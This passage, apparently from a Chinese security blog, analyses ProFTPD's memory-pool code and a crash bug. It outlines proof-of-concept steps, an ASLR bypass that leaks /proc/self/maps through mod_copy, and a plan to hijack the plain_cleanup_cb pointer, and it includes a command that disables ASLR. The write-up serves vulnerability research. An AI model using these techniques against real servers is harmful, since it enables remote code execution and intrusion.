计算所需内存大小sz的末尾地址，如果小于等于当前内存块blok的末尾地址，表示当前内存块blok有足够的内分配给用户，并更新当前内存块blok的可用内存首地址，并返回分配的内存的地址。<br/>  if (new_first_avail &lt;= (char *) blok-&gt;h.endp) {<br/>    blok-&gt;h.first_avail = new_first_avail;  // 并更新当前内存块blok的空闲区域首地址<br/>    return (void *) first_avail;<br/>  }<br/>  /* Need a new one that&#39;</span>s big enough */<br/>  pr_alarms_block();<br/>  // 如果当前blok不足以满足sz，则重新向ptmalloc内存分配器申请内存块，并添加到当前pool中<br/>  blok = new_block(sz, exact);<br/>  p-&gt;last-&gt;h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok<br/>  p-&gt;last = blok;   // 将新申请的blok添加到当前pool的内存块链表的末端<br/>  // first_avail指向新申请的blok空闲区域首地址<br/>  first_avail = blok-&gt;h.first_avail;<br/>  // 计算所需内存大小sz的末尾地址，也就是新的first_avail地址<br/>  blok-&gt;h.first_avail = sz + (char *) blok-&gt;h.first_avail; <br/>  pr_alarms_unblock();<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> (void *) first_avail;<br/>}<br/></code></pre><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>new_block<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">new_block()函数<strong>首先while循环遍历block的空闲链表</strong>是否有可用的block，没有则向ptmalloc2内存分配器申请新的内存块。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">static union block_hdr *new_block(int minsz, int exact) {<br/>  union block_hdr **lastptr = &amp;block_freelist;<br/>  union block_hdr *blok = block_freelist;<br/>  // exact表示minsz大小是否准确，如果exact=<span style="color: #56b6c2;line-height: 26px;">false</span>，则minsz还需要加上512字节，反之则不用<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (!exact) {<br/>    minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);<br/>    minsz *= BLOCK_MINFREE;<br/>  }<br/>  // 遍历block freelist是否有符合要求的block，有则返回符合要求的block<br/>  <span style="color: #c678dd;line-height: 26px;">while</span> (blok) {<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (minsz &lt;= ((char *) blok-&gt;h.endp - (char *) blok-&gt;h.first_avail)) {<br/>      *lastptr = blok-&gt;h.next;<br/>      blok-&gt;h.next = NULL;<br/>      stat_freehit++;<br/>      <span style="color: #e6c07b;line-height: 26px;">return</span> blok;<br/>    }<br/>    lastptr = &amp;blok-&gt;h.next;<br/>    blok = blok-&gt;h.next;<br/>  }<br/>  // block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请<br/>  /* Nope...damn.  Have to malloc() a new one. */<br/>  stat_malloc++;<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> malloc_block(minsz);<br/>}<br/></code></pre><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>malloc_block<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">malloc_block()函数间接调用了malloc()函数申请新内存，并<strong>初始化新内存块的block头信息</strong>。</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">h.next置空。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">h.endp指向内存新内存块的block地址结尾。</section></li></ol><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">static union block_hdr *malloc_block(size_t size) {<br/>  // 间接调用malloc函数，申请内存大小 = 申请对齐后内存的大小 + block头大小<br/>  union block_hdr *blok =<br/>    (union block_hdr *) smalloc(size + sizeof(union block_hdr));<br/>  // 更新新内存block的头信息<br/>  blok-&gt;h.next = NULL;<br/>  blok-&gt;h.first_avail = (char *) (blok + 1);<br/>  blok-&gt;h.endp = size + (char *) blok-&gt;h.first_avail;<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> blok;<br/>}<br/></code></pre><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>make_sub_pool<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">make_sub_pool()函数用于在当前pool里申请new_pool，并赋值给当前pool的sub_pool字段，</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">struct pool_rec *make_sub_pool(struct pool_rec *p) {<br/>  union block_hdr *blok;<br/>  pool *new_pool;<br/>  pr_alarms_block();<br/>  // 创建一个512字节的内存块<br/>  blok = new_block(0, FALSE);<br/>  // new_pool指向新创建的blok的block_hdr后，first_avail向后挪动pool hdr的大小<br/>  new_pool = (pool *) blok-&gt;h.first_avail;<br/>  blok-&gt;h.first_avail = POOL_HDR_BYTES + (char *) blok-&gt;h.first_avail;<br/>  // 给new_pool的头初始化为0<br/>  memset(new_pool, 0, sizeof(struct pool_rec));<br/>  new_pool-&gt;free_first_avail = blok-&gt;h.first_avail; //初始化new_pool的free_first_avail<br/>  new_pool-&gt;first = new_pool-&gt;last = blok; //初始化new_pool的first和last为blok<br/>  // 如果p为真，将new_pool的parent设置为p，new_pool的sub_next设置为p的sub_pools<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (p) {<br/>    new_pool-&gt;parent = p;<br/>    new_pool-&gt;sub_next = p-&gt;sub_pools;<br/>    // 如果p的sub_pools不为空，就将new_pool插入到p的sub_pools里其它pool之前<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (new_pool-&gt;sub_next)<br/>      new_pool-&gt;sub_next-&gt;sub_prev = new_pool;<br/>    // 将new_pool插入到p的sub_pools里<br/>    p-&gt;sub_pools = new_pool;<br/>  }<br/>  pr_alarms_unblock();<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> new_pool;<br/>}<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>漏洞触发<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了方便触发漏洞，这里我们先关闭系统地址空间布局随机化(ASLR)。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #e6c07b;line-height: 26px;">echo</span> 0 &gt; /proc/sys/kernel/randomize_va_space<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后在启动proftpd，这里我们可以启动无子进程方式，需要加上参数<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">-X</code>。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">/usr/sbin/proftpd -X -n -d10<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>poc大致步骤</strong>：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一步，创建线程A<strong>监听本地端口</strong>3247等待连接，线程A阻塞住，创建线程B，<strong>连接</strong>目标ip和端口，端口为21，并返回包含&#39;220 ProFTPD Server (ProFTPD Default Installation)&#39;信息，即表示和proftpd服务连上了。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二步，线程B，发送两条指令，用来登录，第一条指令‘USER xxx’，第二条指令‘PASS mmm’，xxx代表用户名，mmm代表密码，返回230开头的信息，表示身份验证通过，登录成功。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第三步，线程B，发送一条指令‘TYPE I’，返回‘200 Type set to I\r\n’，接着发送PORT命令，切换proftpd服务为主动模式，让服务器来连接攻击者的客户端线程A监听的端口，然后再发送一条命令STOR，上传任意文件，为了开通一个数据传输通道，当线程A收到proftpd服务发出的连接请求后会停止阻塞，想办法让线程停住，可以通过全局变量+while循环来控制。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第四步，线程B，继续发送一段命令A给proftpd server，发送完，让线程A停止等待，立马让线程A也发送一段垃圾数据给proftpd服务，由于proftpd服务先收到线程B的发送的上传文件的命令，程序进入mod_xfer处理线程B上传文件，并且在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">poll_ctrl()</code>调用pr_cmd_read()接收到命令A，然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool，后续调用strdup时，访问了这个pool，因为写入的垃圾数据，导致strdup函数访问pool时读取的是垃圾数据并取了地址，出现非法内存的段错误。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>漏洞触发</strong>：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">proftpd debug模式运行的崩溃界面，</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.9088114754098361" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="976" src="https://wechat2rss.xlab.app/img-proxy/?k=cd84d359&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSJ6yfsv1ic9CI1sw5CVWviaAF69T8bJibZ4nHovy4fMzKmlXLAVibcLMrqg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在gdb调试环境里看到的崩溃堆栈，</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8764397905759163" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="955" src="https://wechat2rss.xlab.app/img-proxy/?k=2d56d77b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSwVPjZOEBxAgUVhyYWmVAqdBibCK9NK01M83cwssmpcRTNTIhgcN8gRQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">漏洞利用</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>绕过ASLR<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>前提条件</strong>：需要proftpd支持mod_copy模块，执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">configure</code>文件时加上<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">--with-modules=mod_copy</code>参数，这样proftpd才能支持拷贝粘贴的能力，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">site cpfr</code>为拷贝，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">site cpto</code>为粘贴。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>绕过思路</strong>：ASLR绕过相对较为简单，proftpd支持mod_copy模块，在登录上proftpd服务后，proftpd可以拷贝自身<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">/proc/self/maps</code>来获取进程内堆、代码段、libc的起始地址，proftpd默认模块里，有下载的命令<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">retr</code>，但是没法直接下载<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">/proc/self/maps</code>文件，所以将<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">/proc/self/maps</code>拷贝到/tmp目录下，然后把<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">/tmp/maps</code>文件下载下来，可以得到类似这样的文本内容。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.9683060109289617" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="915" src="https://wechat2rss.xlab.app/img-proxy/?k=05b6d049&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSkt53fzEibjYT4cApPkich3wHnpTM2m0pCAPPFFNKLOfb74IHWto5l4zw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>篡改plain_cleanup_cb<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>利用思路</strong>：类似于在ptmalloc2里，劫持<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">__free_hook</code>函数指针一样，在proftpd里，通过劫持<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">struct cleanup</code>里的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">void (*plain_cleanup_cb)(void *)</code>函数指针，来控制执行流，从而达到任意命令执行。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>不同</strong>：在ptmalloc2里，比较常见的是对<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">__free_hook</code>函数指针进行劫持，来控制执行流，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">__free_hook</code>函数指针是一个<strong>全局变量</strong>，所以<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">__free_hook</code>的地址相对于libc.so的基址是<strong>固定偏移</strong>，只要知道了libc在进程中的起始地址，是可以算出<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">__free_hook</code>函数指针这个变量的地址的，只要有<strong>稳定的任意地址写</strong>，即可稳定利用，大致内存关系可参考下图。</p><img class="rich_pages wxw-img" data-ratio="1.079925650557621" style="display: block;margin-right: auto;margin-left: auto;zoom: 80%;" data-type="png" data-w="538" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b2fbb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSm8ktddibACEKTK3QMOkRaBmbPbq8TmC2lJGpDt4oq8JMbWVvg7h3skg%2F640%3Fwx_fmt%3Dpng"/><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是在proftpd服务的内存池palloc里，palloc在释放内存池的时候，能劫持的函数指针，目前比较合适的只有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pool_rec-&gt;cleanups-&gt;plain_cleanup_cb</code>这个函数指针，想要<strong>篡改</strong><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">plain_cleanup_cb</code>这个函数指针，就需要知道<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pool_rec-&gt;cleanups-&gt;plain_cleanup_cb</code>的地址并对其写入我们想要的数据。<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pool_rec-&gt;cleanups</code>是当前释放的内存池pool的管理结构<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">struct pool_rec</code>的成员，每个pool的管理结构<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">block_hdr</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">struct pool_rec</code>都在heap段，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">plain_cleanup_cb</code>的地址也在heap段，这样就很难通过偏移计算<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">plain_cleanup_cb</code>在heap段的地址，就<strong>很难稳定的利用</strong>对<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">plain_cleanup_cb</code>劫持来执行任意代码，pool的内存关系可参考下图。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.48616600790513836" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1012" src="https://wechat2rss.xlab.app/img-proxy/?k=bd9ea6ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSyPp8MIDVmQJdOHC7wtEK1PpJRPiaFz0dmq2C4yMib6xyOpyTt2JecVkg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">									<strong>（注：在64位系统里，palloc内存池按8字节对齐分配内存）</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>任意地址写</strong>：<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool</code>是线程A控制的内容fake_pool，通过伪造<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool</code>的内容，借用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">make_sub_pool()</code>函数的任意地址写（这个任意写内容不可控）绕过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_cmd_get_displayable_str()</code>函数内的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_table_get()</code>对&#34;displayable-str&#34;字符串的检索，使其检索失败，继续执行并调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 